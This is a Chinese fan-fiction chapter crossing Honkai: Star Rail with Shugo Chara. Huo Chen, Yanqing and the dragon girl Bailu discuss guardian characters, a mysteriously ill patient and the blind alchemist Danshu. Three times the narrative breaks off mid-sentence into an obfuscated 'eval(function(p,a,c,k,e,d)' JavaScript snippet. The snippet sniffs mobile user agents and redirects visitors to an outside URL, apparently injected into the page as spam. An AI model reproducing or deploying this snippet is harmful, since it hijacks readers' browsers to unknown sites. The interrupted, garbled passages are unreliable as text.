“守护甜心要强化某一方面,也通常是往好的方向强化,没道理会这样。” “彦卿听闻短生种体质脆弱,你应该是疏于照顾自己太久了。” 他被自己脆皮的事实冲击到,正好让彦卿轻松扒拉开他的手,凑近低头:“啊。” “好大的包。” 「角色火尘受到10点伤害,当前血量40。」 求你住嘴。 多提醒一句他都会被自己蠢到。 彦卿大人住嘴了,但没有离远,依然是半蹲着,在略高于他的位置,观察他的包。 这距离对他来说有点难熬,他预备再往角落里缩缩,一缩身边的快递箱就被碰出声响,好像要掉下来。他又不敢动了。 对面已经观察完外部了,问他: “彦卿碰一碰,先生告诉我疼不疼?” 这个人提建议的语气很像黉学老师,而他是小朋友。虽然事实上他比对面大一岁。 “……嗯。”碰一碰而已,没什么不能答应的。 彦卿大人的手刚运过剑,还没靠近就带来丝丝凉意,凉得人头脑一下清醒过来。 “痛吗?” 碰到了,不痛,只是凉。彦卿没有碰那个包,只是耐心地在周围一圈轻轻碰两下,像是很珍惜,端的也是小心谨慎的态度,让人分外不好意思。 “……不痛。” 火尘低头屏息,在快把自己憋死的时候听到彦卿问他:“先生刚才想说什么?” 忙着憋气的人晕晕乎乎:说什么、什么说什么……哦! 他猛地想起来,仰头没看见快递箱了,就从侧边空隙钻出来立正:“我想说,刚才那句话不是我说的!” 彦卿蹲着抬头看他,略微惊讶。 他卡一下:但那句话确实是从他嘴里出来的。 “我是说,我没有想说那种话,但是,我也不知道为什么,就说出来了……我没有喜、喜……当然!我也不是说讨厌你,我是说……” 火尘觉得自己今天真是嘴笨得可以,话都说不顺,越说越没脸见人,索性一巴掌拍自己嘴上手动闭嘴,重新蹲回去自闭。 “是说身体一下不受控制,好像多出了不属于自己的力量?” 火尘扭头,对上一双灿灿亮亮的笑眼: “先生所说,应当是‘形象改造’。”“这说明——” “你的守护甜心很快就要诞生了!” * 形象改造,守护甜心的力量在主人身上的具现,通常表现为将尚未开发的潜力展露出来,比如让运动不好的孩子一下子变得擅长运动,羞于表达的孩子一下子变得善于表达…… 火尘接受着新知识点: “听起来有点吓人。” 感觉都不是自己,而是瞬息之间变成另一个人了。 所以那句话是另一个人说的!是另一个人说的!不是我说的! “欸,吓人吗?” 为什么吓人,他不答,彦卿就拧眉想想,自说自的: “彦卿倒不觉得吓人,只是觉得短时间内靠守护甜心拥有的力量,终究不是自己的力量。” 自在趴彦卿脑袋上撑起脸不满:“就是你自己的呀,将来会有的力量怎么不算你的力量了?我就是你,我的力量就是你的力量。” “可你也说过,太过依赖守护甜心,会让自己的可能性消失的,对吧?”彦卿抬手摸摸他。 自在扁嘴,不反驳。 火尘若有所思。 一件乌龙事件闹得火尘血量过半,险些忘了正事。 “白露大人午间有一小段休息时间。” 火尘来过丹鼎司,但没有进到深处过,一边牵着前面人的飘带七拐八拐,一边四处张望,已经到了类似后院的地方,面前是一堵高墙。 “抓住我。”彦卿右手伸到他面前。 彦卿大人看起来已经完全不在意那句乌龙表白了。 「角色火尘受到10点治愈,当前血量50。」 火尘松一口气。 手搭上去。 “!!” 一口气还没出完,就感觉风声骤起,整个世界倒转过来,再落地时,恍然抬头,就已经身在院墙内了。 彦卿拍拍他身上的灰:“走吧?” 火尘应声,跟着走了几步,回头看看,神色莫名: “你,翻墙啊?” 他有点高兴,看到一尘不染的好学生干坏事,总有种对方乐意和自己同流合污的感觉。 距离感又少了点。 彦卿回他一脸莫名,看看墙,再看看人,圆亮的眼睛眨巴眨巴:“不行?” 火尘哽住。 “……行。” 你想干嘛就干嘛。 反正没人会拒绝你。 “原本跟白露大人约好在外面见面的,但她临时有变故,中午出不了这院子,只得进来见了。” 解决了他,彦卿不挑方向抬步就走,熟门熟路的样子绝非第一次干这事,他忍不住好奇起来: “彦卿大人,很早就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326773|199128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 认识龙女大人吗?” “彦卿就可以了,”对面先纠一遍他的称呼,再回,“是的。” “白露大人的守护甜心出现得很早,彦卿就是从她口中得知这些概念的。” “毕竟当时连将军都看不见,彦卿又不好告诉将军,还当自己是被什么妖物缠上了。” 自在飘在空中傻乐:“彦卿那个时候可好玩了,一看到我就吓得往大人怀里钻。” 彦卿捞一把自己的守护甜心,接话:“后来才知道将军虽看不见,对守护甜心却了解得很,守护者也是他创立的。想来将军以前也有蛋吧。” 火尘原本觉着有趣,听着听着回过味儿来:“彦卿大人,那时几岁?” “三岁、四岁?”彦卿想了一下,“记不太清了。” “你不是说开蒙前的孩童一般不会有守护甜心吗?” “我特殊呀。” 相当理直气壮。火尘又哽住,彦卿目光却越过他看向他身后,他跟着回头: “彦卿确实很特殊啦,其他拥有守护甜心的小孩子也通常都会觉得自己很特殊。” 话音从身后传来,稚嫩又陌生,火尘转身对上来人: “但你似乎不这么觉得?” 小女孩扎着双麻花辫,两手叉腰仰头看他,蓝绿色的眼睛让人想起天空,透着几分兴味,浅紫色的龙角和尾巴昭示着她的身份。 彦卿蹲下打招呼:“白露大人!” “哦,彦卿,来了啊。” 四五岁女童的模样,语气听着却相当成熟。 火尘看一眼彦卿,跟着蹲下:“龙女大人,久闻大名。” 三人视线平齐,白露满意点头,现在角落里有三个小萝卜头了。 彦卿看他,“噗嗤”笑出声。 火尘扭头嘀咕:怎么又笑。 “太久长不高,本小姐倒是习惯仰头看人说话了,你们俩蹲着也好。”白露两手抬起,在两人脑袋各拍了一下,就眯起眼笑,亲切又可爱。 他就继续蹲着了。 彦卿环顾四周,起身:“我去那边搬几把椅子来。” 白露摆摆手:“去吧去吧。” 火尘:?你留我一个人? 被他蹲着一拽,彦卿回过头疑惑,而后“哦”一声,向龙女:“白露大人,他头上肿了个好大的包,麻烦您顺便帮他看看。” ? 我!不是!说这个!不要提这个! “行啊。” 彦卿听白露应完就走了,他僵着,小小的龙女动作利索很快看完:“不是什么大事,你一会儿去药房取点膏药回去抹吧,没几天就好了。” “谢大人。” 他谢完,起身回头看。 “搬凳子而已,很快就回来了。” 这话吓他一跳,又迅速转回来: “你好像很不想彦卿走嘛。” “怕什么?”龙女咧嘴笑,小虎牙闪着亮光,“持明族又不吃人,放轻松。” “……是。” 火尘想到一个词,叫“唯唯诺诺”,刚好可以用来形容现在的他。 “你的蛋给我看看?” 他听话递过去。 “嗯,”小龙尊托腮打量,“有想过自己的理想是什么吗?” “想过,”他老实答,“想不出来。” “你的蛋与其说是快出生,更像是处于相当不安定的状态,可能下一秒就出生了,也可能一直保持现状。” “不过,我听彦卿说你刚才形象改造了?” “嗯!”他狠狠应! “还没出生就能形象改造……如果能诞生,说不定是个相当强大的守护甜心哦,嗯——” 白露闭眼思考一会儿,睁眼提议: “你考虑当守护者吗?” 5. 愿望是能让你飞起来的东西 守护者? “不考虑。”火尘在听清内容的瞬间即刻回绝。 白露有些遗憾,但没多说什么:“这样啊,那算了,还是从其他洞天调吧。” “请问是出什么事情了吗?” “长乐天的守护者缺人,不久前有个队员的守护甜心回去了,她现在看不到坏蛋,也没法帮着抓回来净化,我们想调人过去接班,但一直没找着合适的。” 回去了? “回哪里去?” “从哪儿来,回哪儿去,”白露语气平静,童音带着特殊的抚慰力量,像是在说什么哲理,“自然是回到她心里去啦。” 火尘似懂非懂:“因为她的理想破碎了?还是实现了?” “实现了!”白露应完才显出些迟疑,“应该是?她是这么跟我说的。可毕竟我的守护甜心到现在都没回去,我也不知道‘回去’到底是什么意思。” 此时白露的守护甜心不知从哪儿冒出来,探头跟他打了个招呼:“哟。” 也是小小一只,龙角龙尾,紫色的头发和衣服,和白露很像。 火尘想起彦卿和自在,总结规律:守护甜心通常和主人相似。 “这是白云,我叫她朵朵,因为晴天的云是一朵一朵的,”白露介绍完问,“怎么了朵朵?你不是在望风吗?” 小小龙女伸个懒腰小声抱怨:“望风望风……一直都没有人来,我无聊嘛。” 怪不得刚才一直不在。 “而且,我也好奇你们在说什么。如果是讨论蛋的问题,怎么可以没有守护甜心在场呢!” 和自在一样的超高配得感。 火尘还在总结,朵朵已经转身:“来吧新人!有什么想问的就问吧!阿露知道好多东西哦!” “本小姐定当知无不言。”白露昂首挺胸。 好认真。 火尘于是也端正态度:“我想知道白露大人在蛋孵出的瞬间做了什么,或者白云大人是感应到了什么才出生的。” 这确实是他目前最需要知道的,虽然他并不想这个蛋出生给他带来不必要的变化,却也不好拂了彦卿白露一片好意。 来都来了,总要收获点什么吧。 他在来的路上也问过彦卿这个问题,但许是彦卿当时年纪太小,什么都不记得了,自在倒是记得,但讲不清楚: “我听到彦卿在笑,就出生啦,不过一出生就把他吓哭了。”很好的发言,但没有任何前因后果,自然也没有参考性。 白露白云对视一眼,转头看他,异口同声:“叫名字就好。” “……是。” “我想想……”白露皱起眉头,托腮思索。 “我记得那个时候你在被侍女追!”白云嘴快。 “哦对!还有附近值守的云骑,加一起得有几十号人吧……一起来追我!”白露回味当时,“非常刺激!” “为什么要追你?” “因为我想在外面多玩一会儿,就逃家了,大家都是来抓我回去的。” “我知道他们没恶意啦,可我就是不想回去啊!我只想多玩一会儿嘛。”白露鼓起脸。 火尘也不知该不该赞同。孩童爱玩是天性,但那些人若如白露所说没有恶意,就更像是在担忧孩子安全了。考虑到白露大人的龙尊身份,这担忧似乎不无道理。 “如果有值得信任、武力高强的侍女跟着你就好了。”这样只要一个人跟着就行,玩久了给长老回报消息,不需要那么多人来抓,也不会没得玩。 白露一副“英雄所见略同”的了然样子:“对啊,有时候彦卿来了,我就可以跟他一起出去。虽然路上彦卿的玉兆一直响,应该是那些人有事没事就问他吧。” “但是彦卿从来不催我回去,每次都是去旁边回了消息再回来看我,我说想回去了再回去。” 那可真不错。 火尘蹲久了累,这会儿已经相当随便地坐在地上,听到这里回头看一眼:还是不见人影。 白露注意到他的视线,接着说: “彦卿是将军的弟子嘛,我跟他待在一起,只要不玩到太晚,龙师们都是睁一只眼闭一只眼的。” “可惜彦卿现在不在,”白露疑惑,“奇怪,去哪搬凳子了,怎么还没回来呢?” 火尘又回头看一眼,只能看见廊道尽头的转角,似乎下一秒彦卿就会从那里转出来。 好吧,并没有。 “我讲到哪儿了?哦!守护甜心诞生初体验。”白露扯回话题。 “当时人太多了,我四面都被堵住,又不会飞,只好爬树,踩着树干看人群在底下聚集,都在劝我下来。” “我不想下来,但是又不知道逃去哪里,树上的鸟被我吓飞了,我看见它飞,就想‘要是我也能飞就好了’……” “然后就听见有人在我心里说‘飞不起来,跳起来也好呀!’” 白云在空中做了个跳跃的动作,像只快乐的小鸟:“跳!一起跳!” “我们一起,跳得好高好高,”白露四顾找参照,伸手一指,“比丹鼎司的围墙还要高。” “大人们全都仰头张开嘴,像要接雨水一样,看着我们在他们眼皮子底下跑掉啦!” 白露一口气说这么多,说完嘴有点干,咳了两声,心满意足:“就是这样。” 刚诞生就进行了形象改造啊,而且那场景……火尘托腮: “白露大人一定很痛快。” 没有翅膀却在天上飞,看大人们在地上追,没人能追得上她,没人能抓得住她。而她和新诞生的朋友一起,一下一下跳到更高的地方。 白露咧嘴笑:“痛快极了!” 再总结一下,守护甜心是响应急迫且强烈的愿望诞生的。 “怎么样,听起来很好吧,愿望是能让你飞起来的东西呢!” 他点头,心中却更加疑惑,因为他没有急迫又强烈的愿望。 “肯定有的——只是一时没想清楚,不必着急……” 白露还准备多说几句,转角传来了细碎的脚步声。 “龙女大人!” “看见龙女大人往这边来了……” 白露瞪大眼睛,还不待火尘替她挡上一挡,就见她额发边出现了一个精致的云朵状小发卡,随后半蹲发力——竟是一下就蹿到了房顶上! 火尘:! 他仰头看,白露白云一起趴在屋顶,对他比“嘘——”的手势,他了然,收回视线。 来人已至,询问他的声音有几分迟疑:“……你是谁?为何身在此处?” 火尘提气,扭头,像个人机一样语调平平且快速地输出废话:“我是病患,我想找药房,但是迷路了,请你给我指路,非常感谢,那边是吗,我看到了,非常感谢,这就出去。”头扭回来,拔腿就走,寄希望于在对方反应过来前麻溜消失。 “哎,你等等!” 却未能如愿,侍女飞快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326774|199128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 反应过来,边喊边往他这边赶了两步。 他只得停住,琢磨着白露和彦卿供出来哪一个更好使,权衡之下还是都不供了,转身接受盘问,听到: “你好,这位小友,我们几个是龙女大人的侍女,正在找她,你有在附近看到她吗?” 很正常的提问。火尘觉得自己确实过于紧张了,大概就是“心里有鬼的人看什么都有鬼”吧。 “没看到。” 当然,他没有给来人提供任何线索,在她们察觉到不对劲之前飞快撤了。 围墙之外。 火尘仰头,小龙尊坐在高高的围墙上,看着他讪笑:“怎么样?” “你的侍女在找你回去睡午觉,”他不明白怎么睡午觉也要抓,看着龙尊感叹,“这就是‘一蹦三尺高’吧。” “区区三尺,”白露松一口气,骄傲道,“我这八尺都有了!” “需要我接你下来吗?” “不用。”小龙女说着自己跳了下来,落地还颠两下,拍拍衣摆: “走,我们找彦卿去,他给我发消息说他去看病人了,也不知道是什么病人。” “反正你的事情也解决了,正好瞧瞧去。” * “彦卿骁卫,这边请。” “嗯。” 彦卿本来确实只是在搬凳子。白露大人约在角落见面,大概是角落更方便说事,不会被打扰,也不担心被人听到。 他对这边很熟,知道附近有一间休息用的花厅,搬几张凳子也不是难事。 但正当他走到花厅外,就被人叫住了。 “彦卿骁卫?” 尖耳朵,和白露大人一样是个持明族,身形只比他略高一些,一派少年模样,说: “彦卿骁卫,在下已经六十有四。” 彦卿:…… 好的不好意思打扰了。 持明少年自我介绍叫游山,是云骑军中的十卫长,今日休沐,来看望被彦卿送进丹鼎司的师兄。 彦卿:啊? 剑术的修习,不仅是不进则退,更要追求日日精益,多多切磋才是。 他秉持着这样的理念,为了磨练剑技,时常向不同的对手邀战,时至今日未尝败绩。 敢情是他下手太重了。彦卿摸摸鼻子:“敢问,阁下师兄是……” “啊,彦卿骁卫记不得那么多人吧,”对面摆摆手,解释道,“您放心,师兄不是被您打进丹鼎司,只是那日是您把他扛过来的,怪我没说清楚。” “哦!你师兄是那个——” 「天才去死!」 那个坏蛋的主人。事情才过去一两天,彦卿记得很清楚。 “我记起他了,只是不知道名字。” 记都记起来了,总该做点什么,再者他也很在意那个人。通常黑化蛋的持有者会在蛋被净化回到人体内后清醒过来,而那个人却昏睡到现在。 “医士们怎么说?” 他那天回去还查了那人的档案,已经两百余岁,确定是长生种,既然如此,就不该生病才对,深受丰饶诅咒的仙舟人是不会生病的。 游山摇头:“情况似乎很复杂,到现在还只有简单的扫描报告,医士们也都没有定论。我正要再去问问。” 彦卿思考片刻,瞥见对面提着的果篮:“彦卿能跟你一起去吗?” 游山一怔,飞快点头:“当然可以。” “彦卿骁卫,这边请。” 6. 承惠者 游山在附近绕了两圈都没找到值班医士。 “真是奇怪。” 彦卿看看床上躺着的人,提议:“不如我去远处找找,你留在这里看你师兄?” “不用,兴许过会儿就有人来了吧。” 游山摊手,从自己带来的果篮里掏俩水果,洗了再递给彦卿一个: “我和师兄向来不对付,他现在又醒不过来,比起守灵似的呆坐着,不如和彦卿骁卫说会儿话。” 说会儿话?好啊…… 游山搬凳子挪挪,离他更近了些,上下打量:“都说闻名不如见面,今日得见,彦卿骁卫比我想象的更年少啊,当然,也很可靠。” 彦卿不由坐正。 “怪不得前辈们都说你可爱。” 可靠挺好,可爱就…… 「我最喜欢你了!」 刚忘掉的,又想起来了。 他磕巴着打哈哈:“这、这样啊。” 不过据他观察,火尘应该确实没有那个意思,那句话就跟「彦卿大人我是你的粉丝啊!」差不多——至少这句话他听过不少次。 十来岁在仙舟上是完完全全的幼崽,彦卿被夸可爱也不是一两回了。但越长大,这词听着越别扭……就没有什么威风凛凛、剑术精湛的传闻么…… 自在依然躺在他头顶,翻身打个哈欠,嘀咕:“挨两句夸就要不好意思了,脸皮这么薄,以后喜欢你的人从地上排到天上去可怎么办呢……” 彦卿:!你还是睡觉吧! 自在:是是是。 自在飞下来,随便找了个舒服的姿势继续睡,和床上病人平分一个枕头。 彦卿捂头:真的是从我心里诞生的吗,想要思路同频怎会如此困难? 和游山的对话继续。 不咸不淡聊了几句剑术枪术、孽物任务之后,话题还是拐回来了。 “我觉得师兄的伤势有蹊跷。”游山直言不讳。 持明族以力见长,狐人族以反射速度占优,而仙舟人最为人称道的,就是‘恢复速度’。 无论受到多严重的伤势,只要一息尚存,就一定能慢慢恢复过来:手断了可以接上,头掉了可以长好,毒素也会因为不属于这具身体被排出体外。 快到难以想象的恢复速度、十年百年如一日维持常态的能力,是仙舟人被叫作“仙人”的主要原因。 “寻常手段是无法在仙舟人身上留下伤痕的。师兄的身体却由内而外遭到了极大破坏。” “从内部开始,大抵是投毒;倘若真是投毒,那么,要何等凶险的毒物,才能将仙舟人由丰饶赐福的恢复力都压制下去?” “我想,或许这才是丹鼎司至今无法下诊断的原因。” 彦卿拧紧眉头。 他知道的比游山多一条——这个人不止身体受损,心灵之蛋还黑化了并且无法被治愈,现在只是临时被按回体内……虽说相比之下,找到游山猜测的毒药更要紧些。 可万一这两者间有关联呢? 保险起见,彦卿问一句:“你师兄在昏睡之前,可有受到什么打击?” “打击?” “嗯,像是让他情绪不稳的事件和人……” 游山沉吟片刻:“有。” “三月前,师父提拔我当十卫长。” ? 彦卿一时没想到这两者间的关联。 游山说得更明白一点,摊手像是很轻松: “师兄他呀,可嫉妒我了。” 剑求轻敏,枪走沉雄。持明族自破壳起便在水中悠游,长期承受着巨大水压,因此力量惊人,修习枪术也事半功倍,与仙舟人相比,或许可说是“种族天赋”。 “师兄练枪的时间比我长,他自认花的工夫和心思都比我多,结果却被我比了下去。” “我胜过他那天,他站在擂台上瞪我,不甘都写在脸上了。” 游山话音很平静,表情同样平静。彦卿观察片刻,摸不准能不能插话,索性继续安静听下去。 游山却转头问他:“彦卿骁卫问这个,是怀疑情绪变化跟师兄身体里的毒有关?” 彦卿不太好答。毕竟游山看不见心灵之蛋,想来很难相信那番童话般的说辞。 “呃,彦卿是想,”他硬着头皮编,“倘若一个人身体上忍受折磨,精神上想来也很难稳定……” 游山点头:“认为他是因忍受病痛才暴躁易怒吗。” “能把他往好处想,说明您是个善良的好孩子。” “只是彦卿骁卫,我讨厌他,已不愿再帮他找理由。” 彦卿安静听。 “半月前,师兄突然提出要和我比试,我应下了。然后,”游山比划自己前胸,“惨败于他,留了一道这么长的伤口,至今未好全。” 彦卿拧眉:“这不应该。” 如游山所说,三月前定下的十卫长,那时这位师兄的武艺和进境应当还远不及游山,如何能在短时间内反败为胜…… “奇怪的不止这一处,”游山仰头靠在椅背上,睁着眼睛看天花板,“那时,即使我已落败认输,师兄仍红着眼不管不顾冲上来,若非师父出手阻止,我只怕要死在他枪下。” “实话告诉您,彦卿大人。” “师兄当时的癫狂样子,在我眼中像极了‘魔阴身’。” 彦卿瞳孔一缩。 魔阴身。 “想到魔阴身的可能后,我也后悔过,想‘要是我进步没那么快,兴许他就不会这么想不开’,”游山烦躁搓两把脸,“换作平常谁管他,一天天的骂来骂去好像就他努力了一样。” 彦卿继续沉默。 游山说着说着没听见搭腔了,卡壳:他也是昏了头,在才见面的人跟前竹筒倒豆子一样说烦心事,这下好了,把人整沉默了。 他不说话,对方就问: “怎么了?唔……” 低头时以为是情绪低沉,抬头才发现不是。这位过分年少的骁卫与他同高,坐在窗边金灿明亮,此前敛眸似在思考,见他没声了才抬眼看来,问话相当直接: “你不想只是等待丹鼎司的诊断结果,想要主动调查是吗?” 他点头:“是。” 彦卿同样点头,话一出口便不容置疑:“我和你一起。” * 剑胎武骨彦卿、仙舟宠儿彦卿、景元将军的弟子彦卿、云骑军历史上最年轻的骁卫彦卿、守护者领头人彦卿。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326775|199128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 「手中握剑,便可立于不败之地。」 “彦卿——” “彦卿——” “彦小卿——” “小彦卿——” “彦彦——” “彦卿同志!” 在名字被玩坏之前,彦卿回神,看见自在飘在自己眼前,严肃抱臂气鼓鼓: “又在胡思乱想!” 他们已经离开病房,游山原路折返,他倒是在跟人道别后漫无目的地乱晃,好在回神后还认得这是哪里。 彦卿伸手捧住自己的守护甜心:“没有乱想。” 自在撇嘴:“你是想骗我还是想骗自己?” 彦卿把他放回自己头顶,无奈:“你在这些方面倒格外敏锐。” “我可是你的守护甜心欸!”自在只控诉一句,接着话音就有些气闷,“你是最好的。” “就算没有那些头衔,你也是最好的。” “那些东西都是你应得的。” “没有人会对你失望的。” 彦卿叹气:“好与不好都是比较出来的吧。” “不用比较,你就是最好的!”自在一骨碌爬起来,一副要和他好好掰扯的样子。 他急忙张口:“我们还要回去找白露大人和火尘,对吧?” 自在话被堵回去,坐在他头顶腮帮子鼓得像河豚,只“哼”一声,多的一句也不肯说了。 彦卿微低头,丹鼎司正午的阳光依旧冰冷,他站在树下的阴影里,眸光黯淡,安静良久。 「……我也后悔过,想‘要是我进步没那么快,兴许他就不会这么想不开’……」 「彦卿骁卫,您是云骑军史上最年轻的骁卫,您越过时间和经验,仅凭天赋就将无数人抛在身后,难道未曾有过和我相似的烦恼吗?」 「哈,如果是您的话,一定能处理得很好吧。」 …… 我做得够好吗? 不够的话,还要做多少才算好? 没有参照,无从比对。 彦卿深吸一口气,猛地一大步跨出阴影:“好!”像在给自己打气。 他是,剑胎武骨,天资卓绝、蒙受恩惠、满载期待之人。 他必不能辜负任何人。 头顶,自在顶着和主人一模一样的脸,神情忧虑,一言不发。 * “我本来就打算让彦卿跟我一起去看那个病人的。” 白露走着路,绑着木尺锁的尾巴在他跟前晃来晃去: “原本那天彦卿带着病人来找我,我是打算给他看的,毕竟还有净化坏蛋的事,索性一起看了,”到这里疑惑明显变重,“但是那个病人被临时接走了。” “丹士长说我的挂号已经排到十年后,连这也要我来实在太辛苦,就由她代劳好了。” “我一开始也觉得有道理,可是今天我突然想起来,想去看一眼,居然都不行;不行就算了,还让侍女盯着我,一整个中午都出不去!”白露气鼓鼓。 “丹鼎司没有司鼎,丹士长就同司鼎差不多了。” “唔。” “怎么了?你认识丹士长啊?” 火尘点头,没多说,转向:“那里。” 7. 天缺者 白露探头看去,正对上一双没有神采的眼睛,声音不自觉压低:“唔,是天缺者的例行检查。” 室内二三十人,七八个医士,其中一人安静立在一侧,长发挽起,双目无神,正是丹士长丹枢。 天缺者,自出生起便身有残缺,又因为仙舟人的身体特性无法被补全:仙舟人的身体保持从出生那一刻的状态,就算植入眼球,也会被排异反应排出。 “似乎都是眼疾。”白露眨巴着蓝绿色的大眼睛,看得分明。 她日日为人看诊,对天缺却也不算熟悉,因为“生来就有”意味着“无药可治”,少有天缺者会不信邪寻医问药,大多是认命了;她外出一次又多有不便,也就极少见到。 看到人,就想起丹枢也是天缺者。白露琢磨着自己把人想得太坏了,还待问问理由;再抬头时,却发现后门站着一个小女孩。 身形瘦小,个子比她还矮半头,扒在门边,只睁着眼怯生生望过来,不出声。 白露纳闷。 “是我,没认错。” 身边的闷葫芦却突然出声了,而后就见小姑娘呼一口气,高高兴兴摸索着走过来,抱着人腿喊“火尘哥哥”。 哦,认识火尘。 “你能听声音认人吗?”白露反应过来,真心夸赞,“好厉害。” 小女孩听见声音,往火尘身边缩了缩,像刚才一样探头看她。 火尘:“这是白露大人。” 小女孩点头,探出身子认真跟读,像在念书:“白露大人好。” “这是小鱼。” 白露咧嘴笑,两步凑近:“噢,小鱼好!” 两个小女孩开始友好交流。 火尘则抬头对上来人——丹士服装的女子缓步走来,挽着发髻、步履稳健,除却目中无光,行动间与常人无异。 丹士长丹枢,火尘两年前就见过她。 [你拿去吧,这些药材药力太弱,于长生种毫无用处,但对短生种或许大有裨益。] [……谢、谢谢您。] 长生种最大的特点,就是身上仿佛停滞了的时间,丹枢两年前是什么样子,现在就还是什么样子,配合那双古井无波的眼,像是活成了雕塑。 火尘拱手:“丹枢大人。” 丹枢向他微微颔首,分明看不见,却垂眸注视他片刻,而后直言:“你变化很大。” 变化很大……哪里? 火尘心里嘀咕,面上先玩笑似的回:“短生种日日变化本是寻常,我还当自己久未叨扰,丹枢大人会听不出我。” “频繁来丹鼎司可不是好事,”丹枢摇摇头,“你性子散漫,不爱动弹,两年都没改过,从步伐里便可听出。”怕是以后也不会改了。 火尘注意到白露看戏的视线,转头打哈哈。 丹枢也转向,解释:“龙女大人步子轻快,间距小,行动间时有水声。” 白露低头瞅一眼自己的葫芦,心中了然。 “……轻快、间距小、有水声……” 她纳闷,问刚认识的小伙伴:“小鱼,你念这个干嘛?” “我在记,”小鱼依然是很认真的样子,“我想记住你的声音,这样下次遇到就可以听出来。” 白露:! 白云:开心! 白露:我也开心! 被人认真记住,白露非常开心,这份开心在和小鱼玩了点简单游戏后达到了顶峰,连被侍女严加看管的事都差点忘了问……当然,还是要问的。 丹枢平静的脸上有些许诧异,片刻后她答:“白露大人,那应当是持明一族调派的侍女,您是龙尊,她们自然关心您的安全。” “我是丹鼎司的丹士长,并非持明,没有办法调派司部外的持明族侍女。” 哦,这样啊。 可她问的是在病房外拦住她去路的事,不是同一件事,丹枢好像没听明白。 白露寻思是自己没问好,反正消气了,也就没再多问。什么时候她想去看了,叫上彦卿再去一次便是。 火尘低头看她,口型:“怎么了?” 白露摇头示意没事。 里间叫到小鱼的名字,小鱼摸索着要进屋,白露索性跟进去瞧瞧检查流程,剩下火尘和丹枢在门外。 安静。 丹鼎司的红枫叶被风一吹簌簌落下,从廊道往外看别有一番风味。火尘探头瞧两眼,身边人突兀出声: “你变化很大。” 他回头,是丹枢。 又说变化大,又说两年步伐都没变过…… 他问:“哪儿?” 丹枢退两步,在廊道扶手边坐下,跟他打哑迷:“哪儿都变了。” “你现在,交到朋友了吗?” 交朋友? 火尘下意识就想答“我不交朋友”,张口却想起彦卿那张委屈脸: 「不算?」 「算。」 虽然是乌龙,但好歹也是承认了。 于是卡了一下改口:“交到了。” 丹枢有些惊讶,接着问:“几个?” 彦卿算的话,那白露大人也能算吧;白露大人算的话,那工造司帮他带早餐的同事、指导他工作的前辈也能算吧;再者说,公输师傅是他师父,怎么不能算呢…… 他数完,比出一个手掌:“五个吧。” “五个?”是反问。 火尘顷刻就感觉自己的“五个”不牢靠了,一下收回手掌,然后憋出一句:“不知道。” 丹枢在笑。 他倒也不恼。 “你对交朋友总有一套自己的标准。” “这个本来就不好判断吧……”火尘为自己辩护。 他认识丹枢许久了。 刚来仙舟时,他的身体很不好,大病小病不断,有些可以靠睡觉睡好,有些却不行,隔三差五跑丹鼎司。 「短生种?」 这是丹枢见到他的第一句话。 听不出多少贬损,他也就一句一句应下去。 「难民?」 「嗯。」 「病了?」 「嗯。」 「你为什么打那几个孩子?」 丹枢难得起了兴趣,多问一嘴。 面生的短生种少年顶着蜡黄的脸色、潦草的头发,眼窝深陷,却是全然无所谓的表情。 眼熟的盲眼小女孩站在他腿边,弱弱辩解「哥哥是为了帮我……」 「他们欠打,」而少年神情蔫蔫开口,脾气不知是本来就差,还是因为生病才差,「小孩子家家的吃垃圾长大嘴这么脏。」 「一会儿家长找来了怎么办?」 「找就找,」少年慢吞吞拿药,「给他们打回来啰。」 然后拎起小鱼往她这儿一放,转头就跑了。 丹枢提起那时的事。 “你确实是个很特殊的孩子。” “后来我问你想不想成为长生种,过一过仙人日子。” “你反问我‘为什么要延长苦日子’。” 火尘抓头发,不小心碰到脑袋上的包,又讪讪放下手。 “我还问你‘愿不愿意和仙舟人交朋友’。” “你说‘这是我愿意就能办到的吗’。” 一直反问,总是反问,他刺头得像个对仙舟哪哪儿都很不满的愤青,面对他人的善意说不出一句好话。 这位丹士长神情依旧淡淡,说话却莫名比往日起劲:“我说,短生种和天缺者都可算仙舟上的弱势群体,你就说……” “……丹枢大人,我们聊点别的吧。”火尘本来没什么感觉,被认识两年的长辈一提,顿时感觉像是中二时期的黑历史了。 “你说,‘我好得很,一点都不弱势’。” 火尘窘迫。 丹枢:“现在似乎确实是好得很了。” 火尘抓头发。 丹枢却话锋一转,原本温和的语调,转瞬沉下来,就像撕开了伪装。 “也是,接受了自己能力有限,接受不能改变的现实,才能过得舒心,”话说到这里,声音已经有点飘了,“就是所谓‘知足常乐’?” “知足,常乐。” “可‘知足’,怕只是不得已,因为做不到,索性不去想,因此也少了很多烦恼,人们谓之‘知足常乐’。” 